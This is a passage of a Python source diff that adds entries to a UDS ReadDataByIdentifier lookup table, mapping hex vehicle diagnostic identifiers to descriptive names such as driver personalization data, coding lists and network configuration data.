+UDS_RDBI.dataIdentifiers[0x232d] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x232e] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x232f] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2330] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2331] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2332] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2333] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2334] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2335] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2336] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2337] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2338] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2339] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x233a] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x233b] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x233c] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x233d] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x233e] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x233f] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2340] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2341] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2342] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2343] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2344] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2345] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2346] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2347] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2348] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2349] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x234a] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x234b] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x234c] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x234d] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x234e] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x234f] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2350] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2351] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2352] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2353] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2354] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2355] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2356] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2357] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2358] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2359] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x235a] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x235b] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x235c] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x235d] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x235e] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x235f] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2360] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2361] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2362] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2363] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2364] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2365] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2366] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2367] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2368] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2369] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x236a] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x236b] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x236c] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x236d] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x236e] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x236f] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2370] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2371] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2372] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2373] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2374] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2375] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2376] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2377] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2378] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2379] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x237a] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x237b] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x237c] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x237d] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x237e] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x237f] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2380] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2381] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2382] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2383] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2384] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2385] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2386] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2387] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2388] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2389] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x238a] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x238b] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x238c] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x238d] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x238e] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x238f] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2390] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2391] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2392] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2393] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2394] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2395] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2396] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2397] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2398] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2399] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x239a] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x239b] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x239c] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x239d] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x239e] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x239f] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23a0] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23a1] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23a2] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23a3] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23a4] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23a5] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23a6] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23a7] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23a8] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23a9] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23aa] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23ab] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23ac] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23ad] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23ae] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23af] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23b0] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23b1] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23b2] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23b3] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23b4] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23b5] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23b6] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23b7] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23b8] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23b9] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23ba] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23bb] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23bc] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23bd] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23be] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23bf] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23c0] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23c1] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23c2] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23c3] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23c4] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23c5] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23c6] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23c7] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23c8] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23c9] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23ca] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23cb] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23cc] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23cd] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23ce] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23cf] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23d0] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23d1] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23d2] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23d3] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23d4] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23d5] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23d6] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23d7] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23d8] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23d9] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23da] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23db] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23dc] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23dd] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23de] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23df] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23e0] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23e1] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23e2] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23e3] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23e4] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23e5] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23e6] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23e7] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23e8] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23e9] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23ea] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23eb] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23ec] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23ed] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23ee] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23ef] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23f0] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23f1] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23f2] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23f3] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23f4] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23f5] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23f6] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23f7] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23f8] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23f9] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23fa] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23fb] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23fc] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23fd] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23fe] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x23ff] = "additionalOperatingData 2301-23FF" +UDS_RDBI.dataIdentifiers[0x2400] = "personalizationDataDriver0" +UDS_RDBI.dataIdentifiers[0x2401] = "additionalpersonalizationDataDriver0" +UDS_RDBI.dataIdentifiers[0x2402] = "additionalpersonalizationDataDriver0" +UDS_RDBI.dataIdentifiers[0x2403] = "additionalpersonalizationDataDriver0" +UDS_RDBI.dataIdentifiers[0x2404] = "additionalpersonalizationDataDriver0" +UDS_RDBI.dataIdentifiers[0x2405] = "additionalpersonalizationDataDriver0" +UDS_RDBI.dataIdentifiers[0x2406] = "additionalpersonalizationDataDriver0" +UDS_RDBI.dataIdentifiers[0x2407] = "additionalpersonalizationDataDriver0" +UDS_RDBI.dataIdentifiers[0x2408] = "additionalpersonalizationDataDriver0" +UDS_RDBI.dataIdentifiers[0x2409] = "additionalpersonalizationDataDriver0" +UDS_RDBI.dataIdentifiers[0x240a] = "additionalpersonalizationDataDriver0" +UDS_RDBI.dataIdentifiers[0x240b] = "additionalpersonalizationDataDriver0" +UDS_RDBI.dataIdentifiers[0x240c] = "additionalpersonalizationDataDriver0" +UDS_RDBI.dataIdentifiers[0x240d] = "additionalpersonalizationDataDriver0" +UDS_RDBI.dataIdentifiers[0x240e] = "additionalpersonalizationDataDriver0" +UDS_RDBI.dataIdentifiers[0x240f] = "additionalpersonalizationDataDriver0" +UDS_RDBI.dataIdentifiers[0x2410] = "personalizationDataDriver1" +UDS_RDBI.dataIdentifiers[0x2411] = "additionalPersonalizationDataDriver1" +UDS_RDBI.dataIdentifiers[0x2412] = "additionalPersonalizationDataDriver1" +UDS_RDBI.dataIdentifiers[0x2413] = "additionalPersonalizationDataDriver1" +UDS_RDBI.dataIdentifiers[0x2414] = "additionalPersonalizationDataDriver1" +UDS_RDBI.dataIdentifiers[0x2415] = "additionalPersonalizationDataDriver1" +UDS_RDBI.dataIdentifiers[0x2416] = "additionalPersonalizationDataDriver1" +UDS_RDBI.dataIdentifiers[0x2417] = "additionalPersonalizationDataDriver1" +UDS_RDBI.dataIdentifiers[0x2418] = "additionalPersonalizationDataDriver1" +UDS_RDBI.dataIdentifiers[0x2419] = "additionalPersonalizationDataDriver1" +UDS_RDBI.dataIdentifiers[0x241a] = "additionalPersonalizationDataDriver1" +UDS_RDBI.dataIdentifiers[0x241b] = "additionalPersonalizationDataDriver1" +UDS_RDBI.dataIdentifiers[0x241c] = "additionalPersonalizationDataDriver1" +UDS_RDBI.dataIdentifiers[0x241d] = "additionalPersonalizationDataDriver1" +UDS_RDBI.dataIdentifiers[0x241e] = "additionalPersonalizationDataDriver1" +UDS_RDBI.dataIdentifiers[0x241f] = "additionalPersonalizationDataDriver1" +UDS_RDBI.dataIdentifiers[0x2420] = "personalizationDataDriver2" +UDS_RDBI.dataIdentifiers[0x2421] = "additionalpersonalizationDataDriver2" +UDS_RDBI.dataIdentifiers[0x2422] = "additionalpersonalizationDataDriver2" +UDS_RDBI.dataIdentifiers[0x2423] = "additionalpersonalizationDataDriver2" +UDS_RDBI.dataIdentifiers[0x2424] = "additionalpersonalizationDataDriver2" +UDS_RDBI.dataIdentifiers[0x2425] = "additionalpersonalizationDataDriver2" +UDS_RDBI.dataIdentifiers[0x2426] = "additionalpersonalizationDataDriver2" +UDS_RDBI.dataIdentifiers[0x2427] = "additionalpersonalizationDataDriver2" +UDS_RDBI.dataIdentifiers[0x2428] = "additionalpersonalizationDataDriver2" +UDS_RDBI.dataIdentifiers[0x2429] = "additionalpersonalizationDataDriver2" +UDS_RDBI.dataIdentifiers[0x242a] = "additionalpersonalizationDataDriver2" +UDS_RDBI.dataIdentifiers[0x242b] = "additionalpersonalizationDataDriver2" +UDS_RDBI.dataIdentifiers[0x242c] = "additionalpersonalizationDataDriver2" +UDS_RDBI.dataIdentifiers[0x242d] = "additionalpersonalizationDataDriver2" +UDS_RDBI.dataIdentifiers[0x242e] = "additionalpersonalizationDataDriver2" +UDS_RDBI.dataIdentifiers[0x242f] = "additionalpersonalizationDataDriver2" +UDS_RDBI.dataIdentifiers[0x2430] = "personalizationDataDriver3" +UDS_RDBI.dataIdentifiers[0x2431] = "additionalPersonalizationDataDriver3" +UDS_RDBI.dataIdentifiers[0x2432] = "additionalPersonalizationDataDriver3" +UDS_RDBI.dataIdentifiers[0x2433] = "additionalPersonalizationDataDriver3" +UDS_RDBI.dataIdentifiers[0x2434] = "additionalPersonalizationDataDriver3" +UDS_RDBI.dataIdentifiers[0x2435] = "additionalPersonalizationDataDriver3" +UDS_RDBI.dataIdentifiers[0x2436] = "additionalPersonalizationDataDriver3" +UDS_RDBI.dataIdentifiers[0x2437] = "additionalPersonalizationDataDriver3" +UDS_RDBI.dataIdentifiers[0x2438] = "additionalPersonalizationDataDriver3" +UDS_RDBI.dataIdentifiers[0x2439] = "additionalPersonalizationDataDriver3" +UDS_RDBI.dataIdentifiers[0x243a] = "additionalPersonalizationDataDriver3" +UDS_RDBI.dataIdentifiers[0x243b] = "additionalPersonalizationDataDriver3" +UDS_RDBI.dataIdentifiers[0x243c] = "additionalPersonalizationDataDriver3" +UDS_RDBI.dataIdentifiers[0x243d] = "additionalPersonalizationDataDriver3" +UDS_RDBI.dataIdentifiers[0x243e] = "additionalPersonalizationDataDriver3" +UDS_RDBI.dataIdentifiers[0x243f] = "additionalPersonalizationDataDriver3" +UDS_RDBI.dataIdentifiers[0x2500] = "programmReferenzBackup/vehicleManufacturerECUHW_NrBackup" # noqa E501 +UDS_RDBI.dataIdentifiers[0x2501] = "eraseTime, signatureTime, resetTime, authentificationTime" # or memorySegmentationTable # noqa E501 +UDS_RDBI.dataIdentifiers[0x2502] = "hardwareReferenz" # or programmingCounter # noqa E501 +UDS_RDBI.dataIdentifiers[0x2503] = "programmingCounter-MaxValue" # or programmReferenz # noqa E501 +UDS_RDBI.dataIdentifiers[0x2504] = "flashTimingParameter" # or datenReferenz # noqa E501 +UDS_RDBI.dataIdentifiers[0x2505] = "maximumBlocklength" +UDS_RDBI.dataIdentifiers[0x2506] = "ReadMemoryAddress" # or maximaleBlockLaenge # noqa E501 +UDS_RDBI.dataIdentifiers[0x2507] = "EcuSupportsDeleteSwe" +UDS_RDBI.dataIdentifiers[0x2508] = "GWRoutingStatus" +UDS_RDBI.dataIdentifiers[0x2509] = "RoutingTable" +UDS_RDBI.dataIdentifiers[0x2541] = "STATUS_CALCVN" +UDS_RDBI.dataIdentifiers[0x3000] = "RDBI_CD_REQ" # or WDBI_CD_REQ +UDS_RDBI.dataIdentifiers[0x300a] = "Codier-VIN" +UDS_RDBI.dataIdentifiers[0x37fe] = "Codierpruefstempel" +UDS_RDBI.dataIdentifiers[0x3f00] = "SVT-Ist" +UDS_RDBI.dataIdentifiers[0x3f01] = "SVT-Soll" +UDS_RDBI.dataIdentifiers[0x3f02] = "SGListeSecurity" +UDS_RDBI.dataIdentifiers[0x3f03] = "SG-Liste SWT" +UDS_RDBI.dataIdentifiers[0x3f04] = "Zeitstempel" +UDS_RDBI.dataIdentifiers[0x3f05] = "Liste aller Seriennummern" +UDS_RDBI.dataIdentifiers[0x3f06] = "FA" +UDS_RDBI.dataIdentifiers[0x3f07] = "SGListeKomplett" +UDS_RDBI.dataIdentifiers[0x3f08] = "SGListeAktivesMelden" +UDS_RDBI.dataIdentifiers[0x3f09] = "FP" +UDS_RDBI.dataIdentifiers[0x3f0a] = "SGListeDifferentiellProg" +UDS_RDBI.dataIdentifiers[0x3f0b] = "SGListeNGSC" +UDS_RDBI.dataIdentifiers[0x3f0c] = "SGListeCodierrelevantesSG" +UDS_RDBI.dataIdentifiers[0x3f0d] = "SGListeFlashfaehigesSG" +UDS_RDBI.dataIdentifiers[0x3f0e] = "SGListeK_CAN" +UDS_RDBI.dataIdentifiers[0x3f0f] = "SGListeBody_CAN" +UDS_RDBI.dataIdentifiers[0x3f10] = "SGListeI_CAN" +UDS_RDBI.dataIdentifiers[0x3f11] = "SGListeMOST" +UDS_RDBI.dataIdentifiers[0x3f12] = "SGListeFA_CAN" +UDS_RDBI.dataIdentifiers[0x3f13] = "SGListeFlexRay" +UDS_RDBI.dataIdentifiers[0x3f14] = "SGListeA_CAN" +UDS_RDBI.dataIdentifiers[0x3f15] = "SGListeISO14229" +UDS_RDBI.dataIdentifiers[0x3f16] = "SGListeS_CAN" +UDS_RDBI.dataIdentifiers[0x3f17] = "SGListeEthernet" +UDS_RDBI.dataIdentifiers[0x3f18] = "SGListeD_CAN" +UDS_RDBI.dataIdentifiers[0x3f19] = "Identifikation VCM" +UDS_RDBI.dataIdentifiers[0x3f1a] = "SVT-Version" +UDS_RDBI.dataIdentifiers[0x3f1b] = "vehicleOrder_3F00_3FFE" +UDS_RDBI.dataIdentifiers[0x3f1c] = "FA_Teil1" +UDS_RDBI.dataIdentifiers[0x3f1d] = "FA_Teil2" +UDS_RDBI.dataIdentifiers[0x3fff] = "changeIndexOfCodingData" +UDS_RDBI.dataIdentifiers[0x403c] = "STATUS_CALCVN_EA" +UDS_RDBI.dataIdentifiers[0x4080] = "AirbagLock_NEU" +UDS_RDBI.dataIdentifiers[0x4ab4] = "Betriebsstundenzaehler" +UDS_RDBI.dataIdentifiers[0x5fc2] = "WDBI_DME_ABGLEICH_PROG_REQ" +UDS_RDBI.dataIdentifiers[0xd114] = "Gesamtweg-Streckenzähler Offset" +UDS_RDBI.dataIdentifiers[0xd387] = "STATUS_DIEBSTAHLSCHUTZ" +UDS_RDBI.dataIdentifiers[0xdb9c] = "InitStatusEngineAngle" +UDS_RDBI.dataIdentifiers[0xf000] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 +UDS_RDBI.dataIdentifiers[0xf001] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 +UDS_RDBI.dataIdentifiers[0xf002] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 +UDS_RDBI.dataIdentifiers[0xf003] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 +UDS_RDBI.dataIdentifiers[0xf004] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 +UDS_RDBI.dataIdentifiers[0xf005] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 +UDS_RDBI.dataIdentifiers[0xf006] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 +UDS_RDBI.dataIdentifiers[0xf007] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 +UDS_RDBI.dataIdentifiers[0xf008] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 +UDS_RDBI.dataIdentifiers[0xf009] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 +UDS_RDBI.dataIdentifiers[0xf00a] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 +UDS_RDBI.dataIdentifiers[0xf00b] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 +UDS_RDBI.dataIdentifiers[0xf00c] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 +UDS_RDBI.dataIdentifiers[0xf00d] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 +UDS_RDBI.dataIdentifiers[0xf00e] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 +UDS_RDBI.dataIdentifiers[0xf00f] = "networkConfigurationDataForTractorTrailerApplication" # noqa E501 +UDS_RDBI.dataIdentifiers[0xf010] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf011] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf012] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf013] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf014] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf015] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf016] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf017] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf018] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf019] = "networkConfigurationData" +UDS_RDBI.dataIdentifiers[0xf01a] = "networkConfigurationData" 